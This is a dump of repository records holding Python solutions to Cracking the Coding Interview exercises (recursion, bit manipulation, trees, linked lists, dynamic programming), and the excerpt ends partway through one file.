"license_type": "no_license", "max_line_length": 68, "num_lines": 28, "path": "/chap8/Q5.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def min_product(a, b):\n bigger = b if a < b else a\n smaller = a if a < b else b\n return min_product_helper(smaller, bigger)\n\ndef min_product_helper(smaller, bigger):\n global counter\n if smaller == 0:\n return 0\n elif smaller == 1:\n return bigger\n\n s = smaller>>1\n side1 = min_product_helper(s, bigger)\n side2 = side1\n if smaller%2 == 1:\n counter += 1\n side2 = min_product_helper(smaller-s, bigger)\n\n counter += 1\n return side1 + side2\n\nif __name__ == '__main__':\n counter = 0\n a, b = 13494, 22323\n product = a*b\n min_prod = min_product(a, b)\n print(f'Calculate result {product == min_prod} with {counter}.')\n" }, { "alpha_fraction": 0.5230961441993713, "alphanum_fraction": 0.5543071031570435, "avg_line_length": 25.700000762939453, "blob_id": "e442193b8cba96bcef010e8aaa9d6fa212b149bd", "content_id": "29a7c925ed488043da658352a600c3240350fe3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 801, "license_type": "no_license", "max_line_length": 92, "num_lines": 30, "path": "/chap8/Q3.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import random\n\ndef magic_slow(array):\n '''\n Get magic index (slow)\n Args: list<int> array: target sorted array\n Returns: int: magic index, -1 if not exists\n '''\n for i in range(len(array)):\n if array[i] == i:\n return i\n return -1\n\ndef magic_fast(array, start, end):\n if end < start:\n return -1\n\n mid = (start + end)//2\n if array[mid] == mid:\n return mid\n elif array[mid] > mid:\n return magic_fast(array, start, mid-1)\n else:\n return magic_fast(array, mid+1, end)\n \n\nif __name__ == '__main__':\n array = [-14, -12, 0, 1, 2, 5, 9, 10, 23, 25, 30]\n print(f'{magic_slow(array)} is the magic index in {array} (slow ver.)')\n print(f'{magic_fast(array, 0, len(array)-1)} is the magic index in {array} (fast ver.)')\n" }, { "alpha_fraction": 0.5010467767715454, "alphanum_fraction": 0.5373342633247375, "avg_line_length": 25.054546356201172, "blob_id": "bd3685c43e38472e918c9e9e3f3c55fd6b55fc22", "content_id": "9293ed4419e3200f94ed4e0c66d76fbf64407be6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1433, "license_type": "no_license", "max_line_length": 75, "num_lines": 55, "path": "/chap5/Q3_alt2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "SEQ_LENGTH = 32\n\ndef get_max_seq(seqs):\n \"\"\"\n Get length of the longest sequences of 1s by flipping\n\n Args: list<int> seqs: three sequences ordered as (0s, then 1s, then 0s)\n Returns: int: length of the longest sequence\n \"\"\"\n if seqs[1] == 1: # single 0 -> marge sequences\n return seqs[0] + seqs[2] + 1\n elif seqs[1] == 0: # no-0s -> take one side\n return max(seqs[0], seqs[2])\n else: # manu 0s -> take side, add 1 (flip a bit)\n return max(seqs[0], seqs[2]) + 1\n\ndef shift(seqs):\n \"\"\" Shift the given list \"\"\"\n seqs[2] = seqs[1]\n seqs[1] = seqs[0]\n seqs[0] = 0\n return seqs\n\ndef longest_seq(n):\n \"\"\"\n Get the longest sequence\n\n Args: int n: target number\n Returns: int, length of the longest 1s sequence\n \"\"\"\n searching_for = 0\n seqs = [0, 0, 0]\n max_seq = 1\n\n for i in range(SEQ_LENGTH):\n if (n&1) != searching_for:\n if searching_for == 1: # End of 1s+0s+1s sequence\n max_seq = max(max_seq, get_max_seq(seqs))\n\n searching_for = n&1 # Flip 1->0 or 0->1\n seqs = shift(seqs) # Shift sequences\n \n seqs[0] += 1\n n >>= 1\n\n if searching_for == 0: # Check final set f sequences\n seqs = shift(seqs)\n final_seq = get_max_seq(seqs)\n \n return max_seq\n\nif __name__ == '__main__':\n num = 1775\n ans = longest_seq(num)\n print(f'{num} -> {ans}')\n" }, { "alpha_fraction": 0.5343227982521057, "alphanum_fraction": 0.5389610528945923, "avg_line_length": 28.53424644470215, "blob_id": "73bf473eb146bc077e46c48d9d75371745695b48", "content_id": "1d289ec8584e8e6a969559e1ed16590fed51deea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2156, "license_type": "no_license", "max_line_length": 75, "num_lines": 73, "path": "/utils/tree.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class TreeNode(object):\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n self.parent = None\n self._size = 1\n\n def _set_left(self, left):\n self.left = left\n if left is not None:\n left.parent = self\n\n def _set_right(self, right):\n self.right = right\n if right is not None:\n right.parent = self\n\n def insert_in_order(self, d):\n if d < self.data:\n if self.left is None:\n self._set_left(TreeNode(d))\n else:\n self.left.insert_in_order(d)\n else:\n if self.right is None:\n self._set_right(TreeNode(d))\n else:\n self.right.insert_in_order(d)\n self._size += 1\n\n def size(self):\n return self._size\n\n def isBST(self):\n if not self.left is None:\n if self.data < self.left.data or not self.left.isBST():\n return False\n\n if not self.right is None:\n if self.data >= self.right.data or not self.right.isBST:\n return False\n\n return True\n\n def height(self):\n left_height = self.left.height() if not self.left is None else 0\n right_height = self.right.height() if not self.right is None else 0\n return 1 + max(left_height, right_height)\n\n def find(self, d):\n if d == self.data:\n return self\n elif d <= self.data:\n return self.left.find(d) if self.left is not None else None\n elif d > self.data:\n return self.right.find(d) if self.right is not None else None\n else:\n return None\n\n @staticmethod\n def _create_minimal_BST(array, start, end):\n if end < start:\n return None\n mid = (start + end)//2\n n = TreeNode(array[mid])\n n._set_left(TreeNode._create_minimal_BST(array, start, mid-1))\n n._set_right(TreeNode._create_minimal_BST(array, mid+1, end))\n return n\n\n @staticmethod\n def create_minimal_BST(array):\n return TreeNode._create_minimal_BST(array, 0, len(array)-1)\n" }, { "alpha_fraction": 0.35753175616264343, "alphanum_fraction": 0.43557170033454895, "avg_line_length": 22.95652198791504, "blob_id": "79465db3768f4b5f69877b827908b6adfd449697", "content_id": "ecf33d0f4fbe22dc9a96325cf365c640d053d7bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 551, "license_type": "no_license", "max_line_length": 41, "num_lines": 23, "path": "/chap10/Q9.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def find_element(matrix, elem):\n row = 0\n col = len(matrix[0]) - 1\n while row < len(matrix) and col >= 0:\n if matrix[row][col] == elem:\n return True\n elif matrix[row][col] > elem:\n col -= 1\n else:\n row += 1\n\n return False\n\nif __name__ == '__main__':\n matrix = [[15, 20, 40, 85],\n [20, 35, 80, 95],\n [30, 55, 95, 105],\n [40, 80, 100, 120]]\n elem = 55\n if find_element(matrix, elem):\n print('True')\n else:\n print('False')\n" }, { "alpha_fraction": 0.536697268486023, "alphanum_fraction": 0.5703364014625549, "avg_line_length": 31.700000762939453, "blob_id": "fc138c15056c7f735982be785b856b3f7f4ee24e", "content_id": "74886c4a9ed3d3c12f81ca73b906606f469064b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 654, "license_type": "no_license", "max_line_length": 65, "num_lines": 20, "path": "/chap8/Q11_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def make_change(amount, denoms, index, map_):\n if map_[amount][index] > 0:\n return map_[amount][index]\n if index >= len(denoms)-1:\n return 1\n denom_amount = denoms[index]\n ways, i = 0, 0\n while i*denom_amount <= amount:\n amount_remain = amount - i*denom_amount\n ways += make_change(amount_remain, denoms, index+1, map_)\n i += 1\n map_[amount][index] = ways\n return ways\n\nif __name__ == '__main__':\n denoms = [25, 10, 5, 1]\n amount = 100\n map_ = [[0]*len(denoms) for _ in range(amount+1)]\n ways = make_change(100, denoms, 0, map_)\n print(f'{amount} can be changed by {ways} patterns')\n" }, { "alpha_fraction": 0.4925462007522583, "alphanum_fraction": 0.5074537992477417, "avg_line_length": 25.203125, "blob_id": "69812a80c2f4f3d2054bf4895bc01788796aefbf", "content_id": "5039d81ce7170d55ff5251deaf9efa0f3b4baa0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1677, "license_type": "no_license", "max_line_length": 68, "num_lines": 64, "path": "/chap4/Q11.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nimport random\nfrom utils.tree import TreeNode\n\n\nclass Tree:\n def __init__(self):\n self.root = None\n\n def size(self):\n return self.root.size() if self.root is not None else 0\n\n def get_random_node(self):\n if self.root is None:\n return None\n i = random.randint(0, self.size()-1)\n return self.root.get_ith_node(i)\n\n def insert_in_order(self, value):\n if self.root is None:\n self.root = TreeNode(value)\n else:\n self.root.insert_in_order(value)\n \n\nclass TreeNode(TreeNode):\n def __init__(self, data):\n super().__init__(data)\n\n def get_ith_node(self, i):\n left_size = self.left.size() if self.left is not None else 0\n if i < left_size:\n return self.left.get_ith_node(i)\n elif i == left_size:\n return self\n else:\n return self.right.get_ith_node(i - (left_size+1))\n\n def insert_in_order(self, d):\n if d < self.data:\n if self.left is None:\n self.left = TreeNode(d)\n else:\n self.left.insert_in_order(d)\n else:\n if self.right is None:\n self.right = TreeNode(d)\n else:\n self.right.insert_in_order(d)\n self._size += 1\n\nif __name__ == '__main__':\n counts = [0]*10\n for i in range(10**5):\n t = Tree()\n array = [1, 0, 6, 2, 3, 9, 4, 5, 8, 7]\n for x in array:\n t.insert_in_order(x)\n d = t.get_random_node().data\n counts[d] += 1\n \n for i in range(10):\n print(f'{i} : {counts[i]}')\n" }, { "alpha_fraction": 0.5417323112487793, "alphanum_fraction": 0.5732283592224121, "avg_line_length": 26.60869598388672, "blob_id": "b3c2cc8fd2138a30f1cff5f65b3cf881f9b23371", "content_id": "5944d0f1834dcce658fb5658e278b110d8728316", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 635, "license_type": "no_license", "max_line_length": 78, "num_lines": 23, "path": "/chap8/Q3_advance.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def magic_fast(array, start, end):\n if end < start:\n return -1\n\n mid_index = (start + end)//2\n mid_value = array[mid_index]\n if mid_value == mid_index:\n return mid_index\n\n # Search left\n left_index = min(mid_index-1, mid_value)\n left = magic_fast(array, start, left_index)\n if left >= 0:\n return left\n\n # Search right\n right_index = max(mid_index+1, mid_value)\n right = magic_fast(array, right_index, end)\n return right\n\nif __name__ == '__main__':\n array = [-10, -5, 2, 2, 2, 3, 4, 7, 9, 12, 13]\n print(f'{magic_fast(array, 0, len(array))} is the magix index in {array}')\n" }, { "alpha_fraction": 0.5585970878601074, "alphanum_fraction": 0.5782720446586609, "avg_line_length": 32.400001525878906, "blob_id": "5b1807b642f372a1b5a0b3dba769d09d29f9f55e", "content_id": "db16db73c38302b178e6c0f572967b36e33fa958", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1169, "license_type": "no_license", "max_line_length": 102, "num_lines": 35, "path": "/chap8/Q13_alt1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class Box:\n def __init__(self, width, height, depth):\n self.width = width\n self.height = width\n self.depth = depth\n\n def is_smaller(self, box_tar):\n if self.width < box_tar.width and self.height < box_tar.height and self.depth < box_tar.depth:\n return True\n else:\n return False\n\ndef create_stack(boxes, bottom_index, stack_map):\n if bottom_index < len(boxes) and stack_map[bottom_index] > 0:\n return stack_map[bottom_index]\n \n box_b = boxes[bottom_index]\n max_height = 0\n for i in range(bottom_index+1, len(boxes)):\n if boxes[i].is_smaller(box_b):\n height = create_stack(boxes, i, stack_map)\n max_height = max(height, max_height)\n\n max_height += box_b.height\n stack_map[bottom_index] = max_height\n return max_height\n\nif __name__ == '__main__':\n boxes = [Box(6, 4, 4), Box(8, 6, 2), Box(5, 3, 3),\n Box(7, 8, 3), Box(4, 2, 2), Box(9, 7, 3)]\n boxes = sorted(boxes, key = lambda b: b.height, reverse = True)\n\n stack_map = [0]*len(boxes)\n max_height = create_stack(boxes, 0, stack_map)\n print(f'Max height is {max_height}')\n" }, { "alpha_fraction": 0.5716798305511475, "alphanum_fraction": 0.6121371984481812, "avg_line_length": 24.727272033691406, "blob_id": "c7f5eb87b172593abda7edee3b779f589e4f6a00", "content_id": "692f4706c5067a1205da01fad3e8837df5a3bd55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1137, "license_type": "no_license", "max_line_length": 49, "num_lines": 44, "path": "/chap4/Q10.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.misc import create_tree_from_array\n\n\ndef contains_tree(tree1, tree2):\n \"\"\"\n Validate if tree1 contains tree2\n \"\"\"\n string1 = get_order_string(tree1, '')\n string2 = get_order_string(tree2, '')\n print(string1, string2)\n \n return True if string2 in string1 else False\n\ndef get_order_string(node, string):\n if node is None:\n string += \"x\"\n return string\n\n string += str(node.data)\n string = get_order_string(node.left, string)\n string = get_order_string(node.right, string)\n return string\n\nif __name__ == '__main__':\n # True case\n array1 = [1, 2, 1, 3, 1, 1, 5]\n array2 = [2, 3, 1]\n \n tree1 = create_tree_from_array(array1)\n tree2 = create_tree_from_array(array2)\n\n if contains_tree(tree1, tree2):\n print('tree2 is a subtree of tree1')\n else:\n print('tree2 is not a subtree of tree1')\n\n array3 = [1, 2, 3]\n tree3 = create_tree_from_array(array3)\n if contains_tree(tree1, tree3):\n print('tree3 is a subtree of tree1')\n else:\n print('tree3 is not a subtree of tree1')\n \n" }, { "alpha_fraction": 0.5189639329910278, "alphanum_fraction": 0.5374653339385986, "avg_line_length": 26.024999618530273, "blob_id": "1d17f36dfe0cfccdbc375fec31bb8d6e940fc0d7", "content_id": "bff8e00cad2a88b105fb60b20ba0a30c7561adbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 93, "num_lines": 40, "path": "/chap8/Q14.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "COUNT = 0\n\ndef count_eval(s, result):\n global COUNT\n COUNT += 1\n if len(s) == 0: return 0\n if len(s) == 1: return 1 if bool(s) == result else 0\n\n ways = 0\n\n for i in range(1, len(s), 2):\n c = s[i]\n left = s[0:i]\n right = s[i+1:len(s)]\n\n left_true = count_eval(left, True)\n left_false = count_eval(left, False)\n right_true = count_eval(right, True)\n right_false = count_eval(right, False)\n total = (left_true + left_false)*(right_true + right_false)\n\n total_true = 0\n if c == '^':\n total_true = left_true*right_false + left_false*right_true\n elif c == '&':\n total_true = left_true*right_true\n elif c == '|':\n total_true = left_true*right_true + left_false*right_true + left_true*right_false\n\n sub_ways = total_true if result else total-total_true\n ways += sub_ways\n\n return ways\n\nif __name__ == '__main__':\n expression = \"0^0|1&1^1|0|1\"\n result = True\n\n ways = count_eval(expression, result)\n print(f'{ways}/{COUNT}')\n" }, { "alpha_fraction": 0.5605453252792358, "alphanum_fraction": 0.5805934071540833, "avg_line_length": 32.702701568603516, "blob_id": "23abf2cab0794c82f3f26e182502f80b55464f31", "content_id": "ad20fae291c0c41d6050968c55031fae27dd6816", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1247, "license_type": "no_license", "max_line_length": 102, "num_lines": 37, "path": "/chap8/Q13_alt2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class Box:\n def __init__(self, width, height, depth):\n self.width = width\n self.height = width\n self.depth = depth\n\n def is_smaller(self, box_tar):\n if self.width < box_tar.width and self.height < box_tar.height and self.depth < box_tar.depth:\n return True\n else:\n return False\n\ndef create_stack(boxes, box_b, offset, stack_map):\n if offset >= len(boxes):\n return 0\n \n box_b_new = boxes[offset]\n height_with_bottom = 0\n if box_b is None or box_b_new.is_smaller(box_b):\n if stack_map[offset] == 0:\n stack_map[offset] = create_stack(boxes, box_b_new, offset+1, stack_map)\n stack_map[offset] += box_b_new.height\n\n height_with_bottom = stack_map[offset]\n\n height_without_bottom = create_stack(boxes, box_b, offset+1, stack_map)\n \n return max(height_with_bottom, height_without_bottom)\n\nif __name__ == '__main__':\n boxes = [Box(6, 4, 4), Box(8, 6, 2), Box(5, 3, 3),\n Box(7, 8, 3), Box(4, 2, 2), Box(9, 7, 3)]\n boxes = sorted(boxes, key = lambda b: b.height, reverse = True)\n\n stack_map = [0]*len(boxes)\n max_height = create_stack(boxes, None, 0, stack_map)\n print(f'Max height is {max_height}')\n" }, { "alpha_fraction": 0.5169578790664673, "alphanum_fraction": 0.5447071194648743, "avg_line_length": 28.15151596069336, "blob_id": "e5da3cffa953c2284dcb98eecd92c55ce69b9abb", "content_id": "1179cacba59406d52299f2ea419f030b420723a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 973, "license_type": "no_license", "max_line_length": 61, "num_lines": 33, "path": "/chap10/Q11_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def sort_valley_peak(array):\n for i in range(1, len(array), 2):\n biggest_index = max_index(array, i-1, i, i+1)\n if i != biggest_index:\n array = swap(array, i, biggest_index)\n return array\n \ndef swap(array, left, right):\n tmp = array[left]\n array[left] = array[right]\n array[right] = tmp\n return array\n\ndef max_index(array, a, b, c):\n l = len(array)\n a_value = array[a] if a >= 0 and a < l else -float('inf')\n b_value = array[b] if b >= 0 and b < l else -float('inf')\n c_value = array[c] if c >= 0 and c < l else -float('inf')\n\n max_value = max(a_value, b_value, c_value)\n\n if a_value == max_value:\n return a\n elif b_value == max_value:\n return b\n else:\n return c\n\nif __name__ == '__main__':\n array = [48, 40, 31, 62, 28, 21, 64, 40, 23, 17]\n print(f'original array : {array}')\n vp_array = sort_valley_peak(array)\n print(f'valley-peak array : {vp_array}')\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5203620195388794, "alphanum_fraction": 0.5764706134796143, "avg_line_length": 28.078947067260742, "blob_id": "d072582e6deace114366c3396542f17036395b25", "content_id": "22a1c232976c8bc3e483caedc17a6bf5c0101f7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1105, "license_type": "no_license", "max_line_length": 78, "num_lines": 38, "path": "/chap5/Q1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def update_bits(n, m, i, j):\n \"\"\"\n Update given bits n by inserting m with j-i range\n \n Args:\n - int n: target value 1 to be inserted\n - int m: target value 2 to insert\n - int i, j: right and left locations of insertion\n\n Return:\n - int: updated (inserted) value\n \"\"\"\n # Problem regularization\n if i >= 32 or j < i:\n return 0\n\n # Create a mask to clear bits i through j in n\n # EXAMPLE: i = 2, j = 4, reesult should be 11100011.\n all_ones = (1<<32)-1\n\n left = all_ones<<(j+1) # 1s through position j, then 0s, left = 11100000\n right = (1<<i)-1 # 1's after position i, right = 00000011\n mask = left|right # All 1s, except for 0s between i and j, mask = 11100011\n\n # Clear i through j, then put m in there\n n_cleared = n&mask # Clear bits j through i.\n m_shifted = m<<i # Move m into correct position\n\n # Get bit-or, and we're done!\n return n_cleared | m_shifted\n\nif __name__ == '__main__':\n a = 103217\n print(f'a : {bin(a)}')\n b = 13\n print(f'b : {bin(b)}')\n c = update_bits(a, b, 4, 12)\n print(f'c : {bin(c)}')\n" }, { "alpha_fraction": 0.5085033774375916, "alphanum_fraction": 0.5680271983146667, "avg_line_length": 29.947368621826172, "blob_id": "c7c220b039051a0e7ba56565a4b5515e444e4949", "content_id": "c498fe18ebb2d3ae59df000bb9909c7b1321d4b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 588, "license_type": "no_license", "max_line_length": 68, "num_lines": 19, "path": "/chap10/Q8.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "# This solution is a bit wring as the actual setting\ndef find_dupricate_number(numbers):\n bit_field = [0]*(32000//8)\n\n dups = set([])\n for n in numbers:\n if bit_field[(n-1)//8] & 1<<((n-1)%8):\n dups.add(n)\n else:\n bit_field[(n-1)//8] |= 1<<((n-1)%8)\n\n dups_ = [dups.pop() for _ in range(5)]\n print(f'{dups_} ... are opened')\n\nif __name__ == '__main__':\n import numpy as np\n # numbers does not nucessarily have whole number between 0-32000\n numbers = np.random.random_integers(1, 32000, 40000)\n find_dupricate_number(numbers)\n" }, { "alpha_fraction": 0.5179855823516846, "alphanum_fraction": 0.5251798629760742, "avg_line_length": 24.740739822387695, "blob_id": "8b7fbcff31c11bd63265507624fb53718117a629", "content_id": "74795b44252f488df61892aa132cce276b674f62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 695, "license_type": "no_license", "max_line_length": 48, "num_lines": 27, "path": "/chap8/Q4.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def get_subsets(set_, index):\n '''\n Get subset of given set\n Args:\n - list<int> set_: target set\n - int index: index\n Returns: list<list<int>>: all subsets\n '''\n if len(set_) == index:\n all_subsets = [[]]\n else:\n all_subsets = get_subsets(set_, index+1)\n item = set_[index]\n more_subsets = []\n for subset in all_subsets:\n new_subset = subset + [item]\n more_subsets.append(new_subset)\n \n all_subsets += more_subsets\n\n return all_subsets\n\nif __name__ == '__main__':\n list_ = [1, 2, 3]\n print(f'Alls subsets of {list_} is')\n for subset in get_subsets(list_, 0):\n print(subset)\n" }, { "alpha_fraction": 0.4076923131942749, "alphanum_fraction": 0.45692306756973267, "avg_line_length": 23.074073791503906, "blob_id": "98a97aa7b494a9924240b03bda667f589f920430", "content_id": "dab7ab1de341a44b6f087fd5e03afd69da83ce5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 650, "license_type": "no_license", "max_line_length": 62, "num_lines": 27, "path": "/chap5/Q3_alt3.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "BYTES = 4\n\ndef flip_bit(a):\n if a&(a+1) == 0:\n return len(bin(a))-2\n\n cur_length = 0\n prev_length = 0\n max_length = 0\n while a != 0:\n if a&1 == 1:\n cur_length += 1\n elif a&1 == 0:\n prev_length = 0 if a&2 == 0 else cur_length\n cur_length = 0\n\n max_length = max(prev_length+cur_length+1, max_length)\n a >>= 1\n \n return max_length\n\nif __name__ == '__main__':\n cases = [(0, 1), (1, 1), (15, 4), (1775, 8)]\n for num, ans in cases:\n x = flip_bit(num)\n result = 'valid' if x == ans else 'invalid'\n print(f'Case1 {num} -> {x}: {result}')\n" }, { "alpha_fraction": 0.5333753228187561, "alphanum_fraction": 0.5352644920349121, "avg_line_length": 25.915254592895508, "blob_id": "2b3507c4d69db6bc8d7b6872a2ecc1c584b381bb", "content_id": "30688c458a50e2230735fd66e625d93c27c0031c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1588, "license_type": "no_license", "max_line_length": 84, "num_lines": 59, "path": "/utils/linkedlist.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class Node(object):\n def __init__(self, value, next_node=None, prev_node=None):\n self.value = value\n self.next = next_node\n self.prev = prev_node\n\n def __str__(self):\n return str(self.value)\n \nclass LinkedList(object):\n def __init__(self, value=None):\n self.head = None\n self.tail = None\n if value is not None:\n self.append(value)\n\n def __len__(self):\n length = 0\n node = self.head\n while node is not None:\n length += 1\n node = node.next\n return length\n\n def __str__(self):\n values = []\n node = self.head\n while node is not None:\n values.append(str(node))\n node = node.next\n return '->'.join(values)\n\n def append(self, value):\n # append node to the tail of linkedlist, and return the tail node\n if self.head is None:\n self.tail = self.head = Node(value)\n else:\n self.tail.next = Node(value)\n self.tail = self.tail.next\n return self.tail\n\n def append_all(self, values):\n for v in values:\n self.append(v)\n return self.tail\n\n def pad_head(self):\n head_new = Node(0, next_node=self.head)\n self.head = head_new\n\n\nclass DoublyLinkedList(LinkedList):\n def append(self, value):\n if self.head is None:\n self.tail = self.head = Node(value, next_node=None, prev_node=self.tail)\n else:\n self.tail.next = Node(value)\n self.tail = self.tail.next\n return\n" }, { "alpha_fraction": 0.6143378615379333, "alphanum_fraction": 0.6432127356529236, "avg_line_length": 29.744897842407227, "blob_id": "9c9b580c0acdd057c740f27d2107752618eaaab5", "content_id": "91f5babb1bcf6895948af091c63ce0427aeeab17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3013, "license_type": "no_license", "max_line_length": 85, "num_lines": 98, "path": "/chap4/Q12_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.tree import TreeNode\n\ndef count_paths_with_sum(node, sum_tar, sum_run = 0, count_paths = dict()):\n \"\"\"\n Args:\n - TreeNode node: node of a tree\n - int sum_tar: target sum\n - int sum_run: sum of the running range\n - dictionary<int, int> count_paths: map from paths sum to count\n\n Returns:\n - int: total number of paths with target\n \"\"\"\n if node is None:\n return 0\n\n sum_run += node.data\n\n # Count paths with sum ending at the current node\n sum_ = sum_run - sum_tar\n paths_total = count_paths.get(sum_, 0)\n\n # If sum_run equals sum_tar, one additional path starts at root. Add in this path\n if sum_run == sum_tar:\n paths_total += 1\n\n # Add sum_run to count_paths\n count_paths = increment_hashtable(count_paths, sum_run, 1)\n\n # Count paths with sum on the left and right\n paths_total += count_paths_with_sum(node.left, sum_tar, sum_run, count_paths)\n paths_total += count_paths_with_sum(node.right, sum_tar, sum_run, count_paths)\n\n count_paths = increment_hashtable(count_paths, sum_run, -1)\n return paths_total\n\ndef increment_hashtable(hashtable, key, delta):\n \"\"\"\n Increment the hash value specified by the given key\n\n Args:\n - dictionary<int, int> hashtable\n - int key: hashkey\n - int delta: increment value\n\n Returns:\n - dictionary<int, int>: incremented hashtable\n \"\"\"\n count_new = hashtable.get(key, 0) + delta\n if count_new == 0 and key in hashtable.keys():\n # Remove if the value equals 0 to redume space usage\n hashtable.pop(key)\n else:\n hashtable[key] = count_new\n \n return hashtable\n\n\nif __name__ == '__main__':\n # Tree1\n root1 = TreeNode(5);\n root1.left = TreeNode(3)\n root1.right = TreeNode(1)\n root1.left.left = TreeNode(-8)\n root1.left.right = TreeNode(8)\n root1.right.left = TreeNode(2)\n root1.right.right = TreeNode(6)\n ans1 = count_paths_with_sum(root1, 0)\n print(f'Tree1 contains {ans1} of with {0} summation')\n\n # Tree2\n root2 = TreeNode(-7)\n root2.left = TreeNode(-7)\n root2.left.right = TreeNode(1)\n root2.left.right.left = TreeNode(2)\n root2.right = TreeNode(7)\n root2.right.left = TreeNode(3)\n root2.right.right = TreeNode(20)\n root2.right.right.left = TreeNode(0)\n root2.right.right.left.left = TreeNode(-3)\n root2.right.right.left.left.right = TreeNode(2)\n root2.right.right.left.left.right.left = TreeNode(1)\n ans2 = count_paths_with_sum(root2, -14)\n print(f'Tree2 contains {ans2} of with {-14} summation')\n\n # Tree3\n root3 = TreeNode(0)\n root3.left = TreeNode(0)\n root3.right = TreeNode(0)\n root3.right.left = TreeNode(0)\n root3.right.left.right = TreeNode(0)\n root3.right.right = TreeNode(0)\n ans3 = count_paths_with_sum(root3, 0)\n ans4 = count_paths_with_sum(root3, 4)\n print(f'Tree3 contains {ans3} of with {0} summation')\n print(f'Tree3 contains {ans4} of with {4} summation')\n" }, { "alpha_fraction": 0.4616292715072632, "alphanum_fraction": 0.4693034291267395, "avg_line_length": 29.799999237060547, "blob_id": "946e13b3fd22fbfa2d54fbd1083485d5743411ef", "content_id": "c3601eef5d526c05e1443e94d450e1e19f8cca91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1694, "license_type": "no_license", "max_line_length": 98, "num_lines": 55, "path": "/chap8/Q6.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "from collections import deque\n\nclass Tower(object):\n def __init__(self, i):\n self.disks = deque([])\n self.index = i\n \n def add(self, d):\n if len(self.disks) < 0 and self.disks[-1] <= d:\n print(f'Error for placing disk size {d}')\n else:\n self.disks.append(d)\n\n def move_to_top(self, t):\n top = self.disks.pop()\n t.add(top)\n return t\n\n def print(self):\n print(f'Contents of tower {self.index} : {list(self.disks)}')\n \n def move_disks(self, n, t_dest, t_buff):\n if n > 0:\n tag = f'move {n} disks from {self.index} to {t_dest.index} with buffer {t_buff.index}'\n print(f'<{tag}>')\n self.move_disks(n-1, t_buff, t_dest)\n # print(f'<move top from {self.index} to {t_dest.index}>')\n # print('<before>')\n # print('<source print>')\n # self.print()\n # print(f'</source print>')\n # print('<dest print>')\n # print('<before>')\n t_dest = self.move_to_top(t_dest)\n # print('<after>')\n # print('<source print>')\n self.print()\n # print('</source print>')\n # print('dest print')\n t_dest.print()\n # print('</dest print>')\n # print('</after>')\n # print(f'</move top from {self.index} to {t_dest.index}>')\n t_buff.move_disks(n-1, t_dest, self)\n print(f'</{tag}>')\n\n\nif __name__ == '__main__':\n n = 3\n towers = [Tower(i) for i in range(3)]\n \n for i in range(n, 0, -1):\n towers[0].add(i)\n \n towers[0].move_disks(n, towers[2], towers[1])\n" }, { "alpha_fraction": 0.2996941804885864, "alphanum_fraction": 0.3914373219013214, "avg_line_length": 18.235294342041016, "blob_id": "614289bffaed36a0b9381b98c7a032887c84e4df", "content_id": "7281398914734b5e278a1d3fca6f42125237ea4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 981, "license_type": "no_license", "max_line_length": 41, "num_lines": 51, "path": "/chap5/Q4_alt2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "\"\"\" An arithmetic solution \"\"\"\n\ndef get_next_arith(n):\n c = n\n c0 = 0\n c1 = 